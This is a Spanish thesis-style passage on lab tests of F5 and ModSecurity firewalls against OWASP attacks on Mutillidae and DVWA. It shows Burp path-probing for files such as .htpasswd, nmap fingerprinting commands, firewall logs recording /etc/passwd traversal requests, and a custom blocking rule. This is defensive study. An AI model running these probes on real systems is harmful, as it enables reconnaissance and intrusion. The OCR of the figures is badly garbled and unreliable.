Antes de iniciar el descubrimiento del portal oculto en este tipo de vulnerabilidades
es necesario capturar el formato que tiene la URL esto con el fin de identificar la
variable que pueden ser modificadas de forma dindmica, como se observa en
Figura 36 la paginas siempre terminan con un signo de =y finalizan con un .php.

Figura 36- Identificacion del formato URL del portal mutillidae

pigia € < C A [119216810:10/mut

€ Cf 192181010

i Anlcaciones s Bookmarks JIPS (] Checkpoint (] F5' (] Pag.BAC (] Buecoat [ VANSSL (T AAA (T Moni

ok OWASP Mutilidze : Web | o% OWASP Mutil

Version: 2.6.37  Security Level: 0 (Hosed) Hints: Eni

|

Fuente: El autor

! Alcaciones sk Bookmarks 1 1%S (] Checkpoint (175 (7] Pag BAC (] Blecoat |
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Para realizar el descubrimiento del portal oculto se hace uso de la herramienta
Burp Suite, la cual permite generar consultas de forma automatizada modificando
los parametros en la URL acorde con un listado de rutas que comunmente se
encuentran en los portales, para este caso se define la variable a modificar en
medio del signo $, tal como se observa en la Figura 37.

Figura 37- Captura del formato en el portal de login

pitack Save Columns

Results T Target T Positions T Payloads I Options ]

2
Configure the positions where payleads will be inserted into ba\e/ralﬁsé‘lﬁlsgck type determines the way in which payleads are assigned to payload positions - see help for full detail

Attack type: | Sniper

GET smutillidae/index.php?page=§home. php§ HTTP/1.1

Host: 15Z.1€5.10.10

User—Agent: Mozilla/5.0 (Windows NT £.3; WOWE4; rv:45.0) Gecko/I0l00101 Firefox/45.0

Accept: text/html,application/xhtmlizul,application/xml;q=0.9,%/*;q=0.8

Accept-language: es-ES,es;q=0.8,en-US;q=0.5, en;q=0.3

Accept-Encoding: gzip, deflate

Cockie: showhints=§18; username=fadminf; wid=§18; PHPSESSID=Roph4iT7g02=jltnefdgs0cfElgss
TE0137684r=8013d4874350"hT737efloBo1B850df0c fB2467ef38907867dE 2029 The8930531376aa8874f7358bhTrecadd310alB8dd0E0fra87700debalsbh0l1892ad35 T
£80421178f0e80ac533L38dE0e0ceablE9alfeT5acSdeads

Connection: close

Fuente: El autor

En la Figura 38 se tiene el listado de las rutas a consultadas, ademés se validar
las respuestas dadas por la pagina luego de la consulta, en este caso un mensaje
de “404 Page Not Found” nos indicara que la URL consultada no existe. Asi se
observa que existen las paginas: history, htacccess y htpasswtd.

Figura 38- Listado de paginas a explorar

Attack Save Columns

J Results I Target T Positions T Payloads T Options ]

Fitter: Showing all tems

Request & | Position | Payload | Status | Error | Timeout | Length | Walidation Error: 404 - Page Not Found
0 200 ] ] 47494 ]
1 1 ‘bash_history 200 O O 43504 &
2 1 bashre 200 ] ] 43458 @
3 1 cvsignore 200 O O 43485 &
4 1 history 200 O O 138871 O
5 1 ‘htaccess 200 [} [} 138879 U
] 1 htpasswd 200 U ] 138879 U
7 1 passwd 200 O O 43468 &
8 1 perf 200 O O 43456 [E4]
9 1 ssh 200 ] ] 43450 &
10 1 &vn 200 O O 43450 €]
1 1 web 200 o O 43450 =@
12 1 0 200 O O 43432 &
12 1 00 200 o O 43438 =@
14 1 0 200 O O 43438 &
15 1 02 200 o O 43438 =@
15 1 03 200 O O 43438 &
17 1 04 200 O O 43433 =@
18 1 05 200 O O 43438 &

Fuente: El autor
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Se procede a validar las paginas encontradas, como es la URL htpasswd.php, la
cual redirige al portal de configuracion de la pagina, tal como se observa en Figura
39. Este tipo de divulgacion de informacion representa un riesgo para el
administrador del portal ya que facilita el levantamiento de informacion a un hacker,
por ende el administrador del portal debe restringir el acceso a este tipo de rutas.

Figura 39- Acceso a la pagina de configuracién del servidor PHP

€ | O  192168.10.10/mutillidae/index.php?page=.htpasswd.php c Buscar B 9

& Mas visitados @' IPS E Comenzar a usar Firefox Checkpoint F5 Pag. BAC Bluecoat V(}) VPMSSL AAA Menitoreo Casos V(}) EPS Telefonica Certificacion \‘})

@i OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.37  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) Logged In Admin: admin (g0

Home Logout Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured [

»
[ Secret PHP Server Configuration Page

ow (@ e
@ 3

PHP Version 5.6.19
System Windows NT A-DMZ 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) i586

Build Date Mar 2 2016 20:00:17
@ Compiler MSVC11 (Visual C++ 2012)
Architecture *86

okt Sénrterd

Fuente: El autor

En este caso para el WAF F5 no se detectd que se estuviera realizando un barrido
para identificar las paginas disponibles en el portal, sin embargo al intentar
acceder a la pagina htpasswd, la misma se califica como una URL que no debe
ser accedida y genera una alerta, ver Figura 40.
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Figura 40- Deteccién de configuraciéon de seguridad incorrecta WAF F5

Context Details for Attack Signature 200100007 [x]
Context Request

Detected Keyword |Rmunmuaemuex.pnp?page:

Aﬂack smnature detected \nﬂlatlon detalls e
Signature Name Signature ID | Learn Alarm Block Details
htpasswd access 200100007  In Staging Since 2016-04-05 View details..

o

Violation | Severity

B Attack signature detected Learn| Error
General Details

Requested URL TR /mutillidaefindex.php

Security Policy Politica_Seguridad_mutillidae

Support ID 11135143760776660212

Time 2016-04-10 08:00:15

Reguest Status v

Severity Informational

Violation Rating 2 mm Request looks like a false positive but requires examination

Response Status Code 200

Attack Types M/A

Username NIA

Session ID 1316ae36M1ef218

[0 192 168.20 10:54527 [Add IP Address Exception._|

Fuente: El autor

Al revisar en el WAF de ModSecurity, se detectan dos eventos que indican que
existe informacion del cédigo fuente que esta siendo divulgado, ademas existe
otro evento que indica que se estan presentando intentos de acceso archivos del
portal. Ver Figura 41 para mayor detalle.

Figura 41- Deteccién de configuracion de seguridad incorrecta WAF ModSecurity

Intento de accesoa

archivos Divulgacion de nformacion

[Tue Way 24 01:29:25. 395970 2016] [:error)’ [g1d 13340) [cliert 192.168,10.20) Modsecunty warning. Watch of X (7:N\\b(?: (7:1(?:nterplay|hdr d3) n(?:ovi |thd) |r (7:a
! |iff)] (7:ex]| f)1f|f( : vlws)]varglcws)\\\\ |91f)|8(7 pdf\\\\.ra)\\\\b)" agamst "ResPONSE_8onY" required. [FNe "/etcYsadsecurity/base_rules/modsecur ity _crs_50_out
bound. conf"] [1ine "397] [id "970903"] [rev "2"] [msq "ASe/JSP source code leakage"] [data "Matched Data: <% foun ithin Re 5_800Y: \\xIf\\x8b\\x08\\x00\\x00\\x00
| 1x00\ X001, 1x00) \x03' xed! \xbd\\xedz) \xe2)\xb2 (\\xFa \xbb' \xdB\ \xF 7'\ \xf5; i \xFt \xF 7' \xaaj\ \x9by'\\xaezu\ \xfb\ OBE\X89\ \xLO\ 4L \X06 \xdcg_»> 15\ 928\ \xb2\ \x06\ \x0
0\ \xF7\\xed\\xfbd\\; 71\\xee\\xbf \\xfF3072%01\xb6\ \x05\ \x02\ \ch\\xab\\xd7\\xda\\xb7\\xab{ )SEF) \ X6\ | x4\ \ 91\ \xat \ \\x7f\\xfa\‘ \\xbf\\xfc\\xfo\\xf\\x85\\x16\
a3\ \x1b\\xbS\ \xBT\\xas w7\ \xas\ \xed\ \xbe\\xce2\ \xadh(\ \x12\ \x1 98\ \x98H xa¢\ 0\ xbB\\xOF \x921 \xeth x| xea NGO\ Nk el \xia\ \\x%b
7\ \xdd\\x8d1\\xd X6 \xarHd\ \wbSz\\... ][seventy ERROR] [ver "OWASP_CRS/2.2.9"] [matunty '9"] {accuracy "9'] |[taq ‘QuASP_CRS LEAKAGE SOURCE_CODE_ASP_JSP"] [tag
"WASCTC/WASC-137] [tag "OHASP TOP_10/A6] (tag "Pc1/6,5.6" [hostnane "192.166,10.1"] [uri */mutiTlidae/index. php] umgue_ VOPOXXEAAQEAADQCRAAAAAAA

[Tue May 24 01429: 25 401310 2016] [zerror] [ng 13340] [client 192.168.10, 200] Modsecuruy Warning. Operator GE matched 5 ar\pX: inbound anoma]y_score [file "/etc/mod
: g rules/ ecunty_crs 60_correlation, conf] (Tine "37"] [id "981204"] [msq "Inbound Anomaly Score Exceeded (TotaNinbound Score: 8, SqLi=0, XSs=0): Renot
e (hostnane "192,168.10.1"] [uri "/mut{1Tidae/index. php"] [unique_id "VOPOKXBAAQEAADQCROARANAA']

[Tue ey 78 102, 301389 2016] [:error] [pid 13340] [client 192.168.10. 200] ModSecurRty warmng Operator GE matched 4 at TX:o| Hemlatc/mo
dsecurny/base_ru es/modsecumty_crs 60_correlation, cont"] [hne 40" [id "981205"] [msq "outbound Anomaly Score Exceeded (score 4) ASP/)SP sorce code 1eakage] [ho
stnane "192.168.10.1"] (uri */nutiT0idae/index.php"] [unique_id "VOPOXKSANEANDQEROAMAMAA']

Fuente: El autor
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7.6. PRUEBA OWASP A6: EXPOSICION DE DATOS

En la vulnerabilidad A6 de OWASP se tiene la exposicion de datos sensibles que
pueden permitir al atacante identificar el tipo de sistema operativo o tipo de
servidor web instalado. Para esta prueba se hace uso de la herramienta Nmap la
cual dispone de script que permiten realizar fingerprint de las péginas web,
ademas de otras funcionalidades que permiten identificar los puertos y servicios
activos de los que dispone un servidor.

Figura 42- A6 Fingerprint con WAF marca F5

=
root@kali:/usr/share/nmap/scripts# nmap -0 -sv -p80 --stylesheet=nmap.xsl --script=http-headers.nse,http-enum.nse,http-sitemap-generator http-favicon.nse 192.168.10.10

s(ar(mg Nmap 7.01 ( https://nmap.org ) at 2016-04-10 03:27 cOT
Nmap scan report for 192. 168 10.10
Host is up (0.0023s laze\cy)

80/tcp open http Apa(he httpd 2.4.17 (openssL/1.0.2d PHP/5.6.19)
http enum
test/: TES( age
2 rabriall ring faldac cactacy lissing i .
L/ 1mg : pc(entiany interes (1ng anectmx 115((\9 on ‘'apache/2.4.17 (win32) openss1/1.0.2d php/5.6.19" | F|ngerpr|nt
=TTy

PO T o

server-status/: Potentially interesting fo
“http- favlcor\ unknown favicon MD5: 56F7CO. 657931FZDOB793 1B2D6E9820
! http-headers
Date: Mon, 11 Apr 2016 01:37:54
| Last-modified: Fri, 04 Mar 2016 11 00 11 GMT
ETag: “laf8-52d37 04d3e4co”
Accept-Ranges: bytes
Content-Length: 6904
Connection: close
content - Type text/html
Set-Cookie: TS0137684c=013d492435619c293e98286ae96ab2cel11064ed6c8dddcobl4a7ccdc7e97d7030ecc6f1f8cd; Path=

“http-sitemap- generator
pirectory structure:

htm: 5
dashboard'
other: 1; html: 3; php: 1 Busqueda de
/dashboard)images
png: 3; svg: 1
/dshboardy avascripts/ carpetasy
js: 2 X
d?sr;bo;rd,s:ylesnee(s archivos
Longest directory structure:
oep(h 2

/dashboard/stylesheets/
Tota] fﬂe fomd (by ex(enswn)

ot Tind at Teast 1 open and I closed port

Tng: osscan reljable because we cou
Device pe: fi aﬂ Hoad ba\ancer

Runn’ ing (Jusr Gusssmn) F5 Networks TMOS 11.4.X (93%), F5 Networks embedded (92%) 1A
05 CPES cpe:josfsitmos 1.4 Deteccién del
Aggressive OS guesses: F5 BIG-IP AFM firewall (93%) F? BIG-IP 3650 Local Traffic Manager load balancer (92%), F5 BIG-IP Edge Gateway (88%)

No exact 0S matches for host (test conditions non-ideal).
Network ofstance: 1 hop WAF
ser vi(e Info: Host: 10:3“!05!

Fuente: El autor

En la Figura 42 se realiza un fingerprint del servidor HTTP en el cual esta instalada
la pagina de mutillidae empleando el WAF de marca F5. Como resultado se
detecta que el servicio web corresponde a Apache y el lenguaje intérprete es PHP,
ademas se muestra que se tiene un WAF de marca F5 en medio del camino. El
comando empleado desde la consola fue “nmap -O -sV -p80 --stylesheet=nmap.xsl
--script=http-headers.nse,http-enum.nse,http-sitemap-generator, http-favicon.nse
192.168.10.10”

Durante las pruebas de fingerprint en el WAF F5 no se detect6 ninguna actividad
anOmala considerable, tan solo la revision de diferentes tipos de carpetas en la
pagina pero no categoriza la actividad como maliciosa, excepto el intento de
acceso a la carpeta /dashboar/javascript lo cual es catalogada como una ruta de
informacion sensible. Este tipo de comportamiento no es el esperado en un WAF
puesto que la herramienta Nmap intenta realizar diferente intentos de conexion y
deberia generar una alerta relacionada con un escaneo. En la Figura 43 se
detallan los logs revisados en el WAF de F5.
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Figura 43- Identificacion fingerprint en WAF F5

— - = =
‘Slatus = Violation Rating |+ Time | + Source IP ‘RequestedURL + Response Code
& Notrated 18:59:58 () 192.168.2010 ey ficons/blank gif 200
+/  Notrated 18:59:58 () 192.168.2010 e ficons/back.gif 200
& Notrated 18:39:58 @ 192.168.2010 e ficonsfunknown.gif 200
Y  lmmm 18:59:57 (@ 192.168.2010 P idashboardfavascripts/ 200
+  Notrated 18:38:27 (§192168.20.20 purre) wusage! 404
+/  Notrated 18:38:27 (J 192.168.20.20 (wrTe) vl 404
+/  Notrated 18:38:27 192.168.2020 paTTe] w2/ 404
+/  Notrated 18:38:27 192.168.20.20 (HTTR] Mwaws3| 404
&/ Notrated 18:38:27 192.168.2020 [TTP] v/ 404
+  Notrated 18:38:27  192.168.2020 [HTTR] hovwaw 404
+  Notrated 18:38:27 ) 192.168.2020 [rTe] Awwawjoin! 404

Fuente: El autor

Al realizar las pruebas de Fingerprint a traves del WAF ModSecurity, se obtuvieron
resultados similares al del WAF F5, esto debido a que ambos dispositivos fueron
configurados en modo escucha y permitieron el escaneo. Ademas, se observa que
mediante la herramienta Nmap fue posible detectar en ambas ocasiones que se
tenia un WAF de por medio, como se observa en la Figura 44, donde el web
server estd sobre un sistema operativo Windows y se detecta un servidor Linux
actuando como CPE.

Figura 44- A6 Fingerprint con WAF marca ModSecurity

root@kali:/usr/share/nmap/scripts# nmap -0 -sv -p80 --stylesheet=nmap.xsl --script=http-headers.nse,http-enum.nse, http-sitemap-generay

starting Nmap 7.01 (

Nmap scan report for 192.168.
Host is up (0.00068s latency).

PORT  STATE SERVICE VERSION
80/tcp open http
http-enum:
r‘(es(/'
s

Tes( page

server 1n y
http-favicon: Unknown favicon MDS:
http-headers:

Date: Sun, 29 May 2016 14:28:47 QMT
Server: Apache 2.4.17 (win32) openssL/1.0.2d PHP/5.6.19

Last-modified: Fri,

Apache httpd 2.4.17 ((win32) openssL/1.0.2d PHP/5.6.19)

https:// ngap org ) at 2016-05-08 00:16 COT

o/ Potentia mteresnng ==
S6F 7 C0465/931F2D05793718206E9820

04 Mar 2016 11:00:11 GMT

ETag: "laf8- 52d3704d3e4c0”
Accept-rRanges: bytes
Content-Length: 6904
Content-Type: text/html
Connection: close

(Request t{pe HEA
“hrro-server-header : Anarhn 2.4.17 (win32) openss../1.0.2d PHP/5.6.19
h(tp sitemap-generator :

Direc(ory structure:

css: 1; html: 1
/dashboard/

other: 1; html: 3; php: 1
/dashboard/ 1mages

Busquedade

1
/dasgboard /javascripts/ carpetasy

other: 1; 2 i
/dashboard, sgy1esheets/ arCh'VOS
css:
Longest directory structure:
Depth: 2
Dir: /dashboard/images/
Tol:a1 fﬂes found (bx extensu)n)
a i 2. pho: 1: png: 3.

warmng osscan resuhs may be unrehabIe because we cou1d not find at least 1 open and 1 closed port
Device type: genera] purpose

Running:” Linux 3. .

0S CPE: cpe:/o: Hnux 11nux kernel:3 cpe:/o:1inux:linux_kernel:4

0S details: Linux 3.2 - 4.

Network Distance: 1 hop

0s and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 40.26 seconds

Fingerprint

Deteccién del
WAF

Fuente: El autor
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Al revisar los eventos detectados por el WAF ModSecurity luego de ejecutar el
fingerprint, en los logs del dispositivo diferentes tipos de alertas fueron generadas,
en la Figura 45 se relacionan los mas importantes como son: solicitudes invalidas
en la URI relacionadas con directorios transversales, consultas a diferentes tipos
de extensiones de archivos como .asa. asax.ascx, entre otros; y deteccion de
pardmetros andémalos o caracteres no validos. Esto indica que el WAF de
ModSecurity es mas sensible a la ejecucion de escaneos con base en lo arrojado
por los logs.

Figura 45- Identificacion fingerprint en WAF ModSecurity

Informacion invalida en la URI

[sat Nay 728 01:30:11.620173 2016] [: error] [pid 15933] [client 192.168. 20. 20 Modsecunt warning. string match "Invalid URI in request’| at WEBSERVER_ERROR_LOG. [file
/etc. modsecun(zzbase rules/modsecurity_crs_20_protocol_violations.conf"] [Tine "82"] { 7 id_URI in Request.”] %data "GE
T /5dk/X2EX2E /%2ER2E /XIEXIE /X2EX2E /RIEX2E /R2EX2E /X2EX2E /et c/vmwar e/hostd/vmInventory. xml HTTP/1.1"] [severity "WARNING"] [ver " "ONASP_CRS/2. 2, 9" ] [maturity "9 [accura
cy "9"] [(ag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname “192.168.10.1"] [uri "etc/vmware/hostd/vmInventory. ml’ "] [unique_id "vOk6838AAQEAA
D491mKAAAAI
[sat Hay 25 01:30:11.637415 2016] [core:error] [pid 15394] [client 192.168.20.20:60530] AH00126: Invalid URI in request GET /../../../../../../c /. /.. /.. /etc/passwd H
TTP/1.1
[sat may 28 01:30:11.641670 2016] [:error] [pid 15394] [client 192.168.20.20] Modsecurit harmng string match "Invalid URI in request” at WEBSERVER _ERROR_LOG. [fﬂe
"/etc, modsecuruy base_rules/modsecurity_crs_20_protocol \1o1atmns conf"] [1ine "82"] ¥1d "331227"] [rev "1" ] [msq "Apache Error: Invahd URI in Request."] [data "GE
etc/passwd HTTP/1. ' ] [se\erny "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity ” 9 %) ?ac:uracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IN
VALID REQ ] [(ag "CAPEC-272" ] [hosmame "192.168.10.1"] [uri "etc/passwd"] [unique_id "VOk6838AAQEAADWi 3-YAARAK"]

l Consultas a diferentes extensiones de ficheros |

[sat may 28 01:30:16.17 0908 2016] [:error] [p1d 15392] [chent "192.168. 20. 20] Vodsecuruy
.cdx/ .cer/ .cfg/ .cmd/ . com conf\g .conf/ .cs/ .csproj/ .csr .dat .dn

armn srrummarch within|".asa/ ,asax/ .ascx/ .axd/ .backup/ .bak/ .bat
; o

3 .idq/ .inc/ .ini key dicx/ . Ink .log/ .mdb

.01d/ .pass/ .pdb/ .pol/ .printer wd/ . resources .resx g] .5YS vb vbs vbprol Lvsdisco/ vebmfc ~xsd/ .xsx/" at TX:extension. [fﬂe "/etc modsecuruy
base rules modsecurny crs_30_http_| po icy. conf 1 [line "88' { [1 960035 ] [re» "2"] [msg "uRL file extension is restricted by policy"] [data ".pwd"] [severity "CRITI
CAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7 ﬁ [tag "PC1/6.5.10"] [
hostname "192.168.10.1"] [uri "/_vti_pvt/authors. pud” f [unique_id_"VOK6@HBAAQEAADWGSPAAAAAT"] ;

I Deteccion de parametros anomalos |

réar” Mav, IR m" 1n 1R Y778, 3niR17r: carenpl fnid 122471 Trlionr 102_16R 20 30 Mad<origd arrh "(2i \(? 2:%f?2:20 278029 1SF) IUARIFY 117 cw,(?

[Sat ‘May 28 01:30:16.347978 2016] [:error] [pid 13347) [client 192.168.20.20] ModSecurity: '(71)( xSc‘t’ %(7 2(7 5(2:2F]50) I%461F) | c(2:0%(2 12:2(

:9v|af)|1%1c) |u(?:221[56] |002f) |%32(?: UG\F)leﬂ%so%af 1u|5¢) [\\\ ))(’ %(7:2(7:(7:52)%e] MS 2 To02e| 2024)\%32(" %45(E)) | ){2)( Sc\(’ %(2:2(7 " ] [,-

5(’ 2f5¢) 1%461f) | c(?:0%(?:9v|af) |1¥1c) | ..," at REQUEST_URI. [file "/etc/modsecurity/base_ ru\es modsecurux crs_42 nght sscurlty conf” ] [11ne '20"] [id "950103") [r,(y {3

ev "2"] [msg "path Traversal Attack"] [da(a "watched Data: /../ found within REQUEST_URI: /tiki-listmovies.php?movie=, . ./etc/passwd%001234"] [severity "C [uniq
%hosmame “192.168.10.1° ] [uri "/tiki-listmovies.php"] [uniq

RITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "7"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"]
ue_id "VOK6@HBAAQEAADQNZAAAAAF"

Fuente: El autor

7.7. PRUEBA OWASP A7: INEXISTENTE CONTROL DE ACCESO

En la vulnerabilidad A7 de OWASP se tiene el inexistente control de acceso, para
esta prueba se analiz6 el portal de administracién de la pagina el cual se conoce
como phpadmin. A través de esta pagina los administradores realizan la
configuracion o modificacion tanto de las propiedades del portal como de la base
de datos y permitir un acceso sin restricciones a esta pagina podria permitir a un
atacante realizar alteraciones a una pagina. En la Figura 46 se observa la pagina
de administracion del portal de pruebas el cual fue accedido sin ningun tipo de
restriccion u contrasefia.
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Figura 46- A7 Inexistente control de acceso

<« C' &  [1192.168.10.10/mutillidae/index.php?page=phpmyadmin.php w @O L0 A QL
i Aplicaciones (] Checkpoint Jk Bookmarks W IPS (] F5 (] Pag.BAC [J Bluccoat [ VPNSSL (] A%A [ Monitorco (] Casos % EPS [ Telcfonica [ Certificacion @) Norse - PViking Live » (] Otros

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.37  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Not Logged In

Home Login/Regi Toggle Hints Show Popup Hints Toggle Security Enforce SSL. Reset DB View Log View Captured Data
OWASP 2013
7127001 127001
SR php | Bases de datos L] SQL (§y Estado actual = =5 Usuarios [ Exportar [} Importar = #° Configuracion = ¥ Mas
OWASP 2007 -
fBODE T —————— Servidor de base de datos
Web Services —_——— — = — — -
e Error = Cotejamiento de |a conexion al senvidor @) + Sewvidor: 127.0.0.1 via TCP/IP
. * Programa: MySQL
- @ utig_general ci v
E‘:;:su"ﬂ Sak: @ o = — s Versiones de programa: 10.1.10-MariaDB -
Loitar mariadb.org binary distribution
Documentation SELECT ‘fables’ » Version del protocolo: 10
FROM flauraci es de apnarienci:z s Usuario: roct@localhost
Resources @ "phpmyadmin’ "pma_rec _— « Conjunto de caracteres del servidor. UTF-8
WHERE "username’ — Unicode (utf8)
="root! & 1dioma - Language @ : | Espafiol - Spanish v
MySQL ha dicho: ) @ Tema | pmahomme ¥
— Servidor web
Getting Started: #1125 - Table « Tamano de fuente: | 82% ¥ AL L T
Project Whitepaper B . . .
& Mas configuraciones = Apache/2.4.17 (Win32) OpenSSL/1.0.2d

PHP/5.6.19

Fuente: El autor

Si bien la pagina de restriccion deberia contar con una mecanismo de
autenticacion, este control no seria suficiente puesto que un ataque de fuerza
bruta podria encontrar la contrasefia, para esto otro control propuesto es el
blogueo de este portal mediante el WAF y esta forma solo permitiriamos el acceso
a un conjunto de IP que se definan como confiables. Para activar el bloqueo en el
WAF se debe primero identificar el directorio donde se encuentra el portal, para
ello a través de la herramienta Burp suite se realiza la captura de un GET hacia la
pagina de administracion, tal como se observa en la Figura 47.

Figura 47- Identificacion del directorio consultado
1E SUTE
Burp Intruder Repeater Window Help

[Target T Prosy T Spider T Scanner T Intruder T Repeater T Seguencer T Decoder T Comparer T Extender T Cptiony

ercept T HTTP history T WebSockets history T Options ]

9§| Request to hitp://192.168.10.10:80

Forward J l Drop J | Intercept i= on Action

_[ Raw T Params T Headers T Hex ]

GET /mutillidae/phpmyvadminsindex_php HTTPS1_1

Host: 15Z_1&£8_10_.10

TUser—-Agent: Mo=zillas5. 0 (Windows NT &_.32; WOWE4d; rv:45_0) Gecko//,Z20100101 Firefox/ 45_0
Aocept: text//htwml , application/xhtmltxml] , application/xml;q=0_.9 *,/* qgq=0_.8
Accept-—Language: es-ES es;gq=0_8 en-US;gq=0_5_ en;qgq=0_3

Accept—Encoding: gzip, deflate

Peferer: http: /192 .168.10.1l0/mucillidase/index. php?page=phponyadmin. plp

Coolkie: phpMyvidmin=rdld4fegklncicd3fewallgvwilip3sgil; pma lang=es; pma collation connecti
TS0l f8ckhiB83=013d4524355a8blead4t ffchelT75623ee3 5052067557 fhl15SldocesclPddfcE35a3cl84 0455085
clhE3dE858hdE318cd480cEcTEchliSddel3cd44d3esfEcdThiElZ0ef8la; showhintcs=1; PHPSESSID=hcjSh&f]
TE01l3E27684c=013c45 24220202328 £74d58a8892 Tacl4ded774ladeabloléldedef0ElaTocaZz08cT71lE24b 455 al
TSE0137684c_I8=01175ee841885975foce332387 7037503651 2d08decl 2672 £57da7b 5bec £7550d2d047255
Commection: close

Fuente: El autor
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Luego de identificar la URL consultada al ingresar al portal de administracion, se
procede a ingresar las rutas en el WAF dentro del listado de las URL no permitidas,
como se muestra en la figura Figura 48. Ademas, se debe cambiar el modo de
operacion del WAF de transparente a modo bloqueo de esta forma el WAF no
permitira la conexion la URL definidas.

Figura 48- Bloqueo de URL en el WAF F5

w The Policy Builder is in Automatic mode for the «Politica_S§...dae» security policy.
able

The system learned 0 file types, 0 URLs, 0 parameters, 0 cookies and 0 redirection domains.

Security » Application Security : URLs : Disallowed URLs
7+ ~ | Allowed URLs Disallowed URLs Wildcards Order Character Set Flows List

Current edited policy | Politica_Seguridad_mulfillidae (blocking) =

Disallowed URLs List
‘ Protocol ‘ URL

HTTP Imutillidae/phpmyadmin/main.php

HTTP /mutillidae/phpmyadmin/mavigation.php
Delete

Fuente: El autor

Como resultado en Figura 49 se observa como el WAF de marca F5 genera el
bloqueo hacia el portal de administracion, generando un tiquete de servicio e
indicando de forma explicita que la comunicacion ha sido blogueada por un WAF.

Figura 49- Acceso al portal de administracién con WAF f5 en bloqueo

L 3 il | 192.168.10.10/mutillidae/index.php?page=phpmyadmin.php

|E|J Més visitados @ IPS ‘, Comenzar a usar Firefox | 1 Checkpoint |1 F5 | Pag. BAC | | Bluecoat Q WPMSSL | ) AAA | Monitoreo ||

@i« OWASP Mutillidae II: Web Pwn

Version: 2.6.37 Security Level: 0 (Hosed) Hints: Enabled (1

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforc

La solicitud ha sido La solicitud ha sido bloqueada por el WAF.
bloqueada por el WAF.
Su nimero de ticket es: 11605471370070263042
Su numero de ticket es:
11605471370070198644 [Go Back]
(oot

Izuente: El autor

Para realizar una regla personalizada por primera vez en el WAF de ModSecurity,
se requiere realizar tres pasos tal como se observa en la Figura 50, primero se
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debe crear una nueva regla de configuracion la ruta seleccionada es
“/letc/modsecurity/custom_Mod_Security_rules” alli se define el patron con el cual
se va a generar la coincidencia, el cual es una URI con el valor “phpmyadmin.php”,
luego se incluye la nueva regla dentro de las libreria dentro del fichero
“/letc/apache2/mods-enabled/security2.conf” y finalmente se debe reiniciar el
servicio para ejecutar los cambios. Al revisar los logs se observa que la URI tuvo
coincidencia con el valor configurado y se muestra el mensaje personalizado.

Figura 50- Bloqueo de URL en el WAF ModSecurity

@ l Regla configurada en ModSecurity |

root@ubuntu: /etc/modsecurity/activated_rules# vi /etc/modsecurity/custom_Mod_security_rules

## block wordpress login attempts
SecRule REQUEST_URI “phpmyadmin.php"
"id:'0090227" ,severity: 3" ,msg: Ruta de acceso restringida’”

root@ubuntu: /home/tom# vi /etc/apache2/mods-enabled/security2.conf

Bxfmodule_security2 module:
# pefault pebian \hr for modsecurity’s persistent data
SecDatapir /var/cache/modsecurity

0 In(lude all the *.conf files in /etc/modsecurity.
1!1? your Tocal configuration in that directory
Tow for an easy upgrade of THIS file and
9 nke your life easi
' In(]nde /e((/-)dse(url( /a(nva(echule?/ .conf™

L&TV.Q& &Wm H Incluir regla en la libreria
Inc udecpnona e(c modsecunty

/usr/share/modsecurity-crs/*. conf
/ fnodu: xncludeoptional " /usr/share/modsecurity- crs/activated_rules/*. conf"
</T

|root@ubuntu: /home/tom# service apache2 restartf]

Log registrado

[sun Nay 29 01 20: 22 9597 96 2016] [ error] [p1d 2 S ] [chent 192.168.10.200] modSecurity: warning. pattern match "phpmyadmin.php" at REQUEST_URI. [file "/etc/modsecu
rity/custom Mod_security_rules”] [Tine "4"] [id " "0090227"] [msg "Ruta de acceso restringida"] [severity "ERROR"] [hostname "192.168.10.1"] [uri "/mutillidae/phpmyadmin
phpmyadmin. css.php"] [unique_id " VOqKJr\BAAQEAAGuSTpMAAAAF "]

Fuente: El autor

Al revisar desde el navegador el bloqueo, se observara un error como el que se
muestra en la Figura 51, indicando que el servicio no esta disponibile.

Figura 51- Acceso al portal de administracién con WAF ModSecurity en bloqueo

€ Ch [ 192.168.10.1,-"|‘|‘._1ti||id-3a.-"i-wde:a.:zhp?:za;;e=m

e Aplicaciones (] Certificacion ] C&W [J UNAD (] Hacking web (] Services

Service Unavailable

The server 1s temporarily unable to service vour request due to mamntenance downtime or capacity problems. Please try again later.

Apache24.7 (Ubuntu) Server at 192.168.10.1 Port 80

Fuente: El autor
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7.8. PRUEBA OWASP A8: CSRF

La vulnerabilidad A8 de OWASP falsificacion de peticiones en sitios cruzados,
permite a un atacante ejecutar una accion de un contexto dentro de otro contexto
diferente en la misma péagina o desde otro portal. En el ejemplo de la Figura 52 se
tiene un contexto donde se realiza el cambio de contrasefia para un usuario, y en
Figura 53 se tiene un contexto para enviar mensajes. Para este caso el ataque
consiste en realizar el cambio de la contrasefia desde el contexto creado para
enviar mensajes. Este tipo de ataque podria ser usado para evadir al mecanismo
de control que se tenga dentro de un contexto.

Figura 52- A8 Falsificacion de peticione
C A || 192.168.10.11/DVWA/vulnerabilit
caciones (] Checkpoint i Bookmarks QY IPS (O] FS

s en sitios cruzados
/2 rd_t |

¥4 EPS (O] Telefonica (] Certi

(3 Pag.BAC (] Bluecoat [CJ VPNSSL (] AAA (O] Monitoreo\ (] Casos

URL con las
contrasefias

D\WA)

Vulnerability: Cross Site Request Forgery (CS

Home }
Instnictions ‘ Change your admin password:
Setup J
New password
BruteForce |
Command Execution Confirm new password
Change

Insecure CAPTCHA

File Inclusion

Password Changed

|
|
|
|

Fuente: El autor

Figura 53- Cambio de contrasefia a través de CSRF

192.168.10.11/DVWA/vulnerabilities/xss_s,

